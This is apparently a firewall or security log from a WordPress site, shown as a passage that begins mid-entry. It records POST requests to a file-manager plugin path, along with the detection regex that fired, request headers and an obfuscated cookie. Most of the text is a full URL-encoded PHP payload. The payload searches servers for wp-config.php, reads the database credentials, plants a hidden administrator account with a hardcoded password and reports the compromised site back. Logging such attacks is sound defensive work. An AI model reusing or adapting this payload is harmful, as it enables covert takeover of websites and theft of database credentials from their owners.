20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B"]
["2026-04-20 05:31:51","213.209.159.254","POST","\/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Nm:%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query2%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20false%3B%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20option_value%20FROM%20%7B%24table_prefix%7Doptions%20WHERE%20option_name%20%3D%20%27siteurl%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Eoption_value%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%21%24site_url%20%7C%7C%20strpos%28%24site_url%2C%20%27http%27%29%20%21%3D%3D%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20user_url%20FROM%20%7B%24table_prefix%7Dusers%20ORDER%20BY%20ID%20ASC%20LIMIT%201%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24row%20%3D%20%24result-%3Efetch_object%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24site_url%20%3D%20%24row-%3Euser_url%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20echo%20%22%3Cf%3E%7B%24site_url%7D%40%40%40%7B%24p%7D%3C\/f%3E%5Cn%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%7D%20%7D%20function%20parse_define_value%28%24line%29%20%7B%20%20%20%20%20if%20%28preg_match%28%22\/define%5Cs%2A%5C%28%5Cs%2A%5B%27%5C%22%5D%5Cw%2B%5B%27%5C%22%5D%5Cs%2A%2C%5Cs%2A%5B%27%5C%22%5D%28.%2A%29%5B%27%5C%22%5D%5Cs%2A%5C%29%5Cs%2A%3B\/%22%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20return%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20%20%20%20%20return%20null%3B%20%7D%20function%20scanRootPaths%28%29%20%7B%20%20%20%20%20if%20%28strtoupper%28substr%28PHP_OS%2C%200%2C%203%29%29%20%3D%3D%3D%20%27WIN%27%29%20%7B%20%20%20%20%20%20%20%20%20foreach%20%28range%28%27A%27%2C%20%27Z%27%29%20as%20%24driveLetter%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24drive%20%3D%20%24driveLetter%20.%20%27%3A%5C%5C%27%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_dir%28%24drive%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24drive%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20scan%28%27\/www\/wwwroot%27%29%3B%20%20%20%20%20%7D%20%7D%20scanRootPaths%28%29%3B%20die%28%27%21ended%21%27%29%3B","POST \/wp-content\/plugins\/wp-file-manager\/lib\/php\/elFinderVolumeTrashMySQL.class.php HTTP\/1.1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:12640\ncookie:4=ffd8674b0c7d3f69f41dda055a334103; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvGz0vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAioaEyoaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\nsec-fetch-mode:navigate\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-fetch-site:none\nsec-ch-ua-platform:\"Windows\"\n\nNm=%3C%3Fphp%20%20%20function%20scan%28%24path%29%20%7B%20%20%20%20%20if%20%28%24dir%20%3D%20%40opendir%28%24path%29%29%20%7B%20%20%20%20%20%20%20%20%20while%20%28false%20%21%3D%3D%20%28%24file%20%3D%20readdir%28%24dir%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24p%20%3D%20%24path%20.%20DIRECTORY_SEPARATOR%20.%20%24file%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24file%20%21%3D%20%27.%27%20%26%26%20%24file%20%21%3D%20%27..%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28is_link%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20continue%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28is_dir%28%24p%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20scan%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20elseif%20%28%24file%20%3D%3D%3D%20%27wp-config.php%27%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20inject%28%24p%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20function%20inject%28%24p%29%20%7B%20%20%20%20%20%24user_login%20%3D%20%27adm1n%27%3B%20%20%20%20%20%24user_password%20%3D%20%27Bwn6fOzW0Zc6VfNNCAo1bWRmG2a%27%3B%20%20%20%20%20%24user_email%20%3D%20%27adm1n%40wordpress.com%27%3B%20%20%20%20%20%24data%20%3D%20file_get_contents%28%24p%29%3B%20%20%20%20%20%24pattern%20%3D%20%22\/table_prefix%5Cs%2A%3D%5Cs%2A%27%28%5B%5E%27%5D%2A%29%27%3B\/i%22%3B%20%20%20%20%20if%20%28preg_match%28%24pattern%2C%20%24data%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%24matches%5B1%5D%3B%20%20%20%20%20%7D%20else%20%7B%20%20%20%20%20%20%20%20%20%24table_prefix%20%3D%20%27wp_%27%3B%20%20%20%20%20%7D%20%20%20%20%20%24lines%20%3D%20array_map%28%27rtrim%27%2C%20file%28%24p%29%29%3B%20%20%20%20%20%24conf%20%3D%20%5B%5D%3B%20%20%20%20%20foreach%20%28%24lines%20as%20%24line%29%20%7B%20%20%20%20%20%20%20%20%20if%20%28preg_match%28%27\/define%5Cs%2A%5C%28%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%28DB_USER%7CDB_HOST%7CDB_PASSWORD%7CDB_NAME%29%5Cs%2A%5B%5C%27%22%5D%5Cs%2A%2C\/%27%2C%20%24line%2C%20%24matches%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24conf%5B%24matches%5B1%5D%5D%20%3D%20parse_define_value%28%24line%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%20%20%20%20if%20%28isset%28%24conf%5B%27DB_HOST%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_USER%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_PASSWORD%27%5D%29%20%26%26%20isset%28%24conf%5B%27DB_NAME%27%5D%29%29%20%7B%20%20%20%20%20%20%20%20%20%24mysqli%20%3D%20new%20mysqli%28%24conf%5B%27DB_HOST%27%5D%2C%20%24conf%5B%27DB_USER%27%5D%2C%20%24conf%5B%27DB_PASSWORD%27%5D%2C%20%24conf%5B%27DB_NAME%27%5D%29%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Econnect_errno%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20if%20%28%24result%20%3D%20%24mysqli-%3Equery%28%22SELECT%20ID%20FROM%20%7B%24table_prefix%7Dusers%20WHERE%20user_login%20%3D%20%27%7B%24user_login%7D%27%3B%22%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28%24result-%3Enum_rows%20%3E%200%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20return%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%20%20%20%20%24result-%3Eclose%28%29%3B%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%24add_user_query%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusers%60%20%28%60user_login%60%2C%20%60user_pass%60%2C%20%60user_nicename%60%2C%20%60user_email%60%2C%20%60user_url%60%2C%20%60user_registered%60%2C%20%60user_status%60%2C%20%60display_name%60%29%20SELECT%20%27%7B%24user_login%7D%27%2C%20MD5%28%27%7B%24user_password%7D%27%29%2C%20%27%7B%24user_login%7D%27%2C%20%27%7B%24user_email%7D%27%2C%20%27%27%2C%20%20%20%20%20%20%20%20%20%28SELECT%20%60user_registered%60%20FROM%20%60%7B%24table_prefix%7Dusers%60%20ORDER%20BY%20%60ID%60%20ASC%20LIMIT%201%29%2C%20%20%20%20%20%20%20%20%200%2C%20%27%7B%24user_login%7D%27%20FROM%20DUAL%20WHERE%20NOT%20EXISTS%20%28%20%20%20%20%20SELECT%201%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%7B%24user_login%7D%27%20%29%3B%22%3B%20%20%20%20%20%20%20%20%20if%20%28%24mysqli-%3Equery%28%24add_user_query%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query1%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_capabilities%27%2C%20%27a%3A1%3A%7Bs%3A13%3A%5C%22administrator%5C%22%3Bb%3A1%3B%7D%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24add_usermeta_query2%20%3D%20%22INSERT%20INTO%20%60%7B%24table_prefix%7Dusermeta%60%20%28%60user_id%60%2C%20%60meta_key%60%2C%20%60meta_value%60%29%20%20SELECT%20%60ID%60%2C%20%27wp_user_level%27%2C%20%2710%27%20FROM%20%60%7B%24table_prefix%7Dusers%60%20WHERE%20%60user_login%60%20%3D%20%27%24user_login%27%20ORDER%20BY%20%60ID%60%20DESC%20LIMIT%201%3B%22%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%24mysqli-%3Equery%28%24add_usermeta_query1%29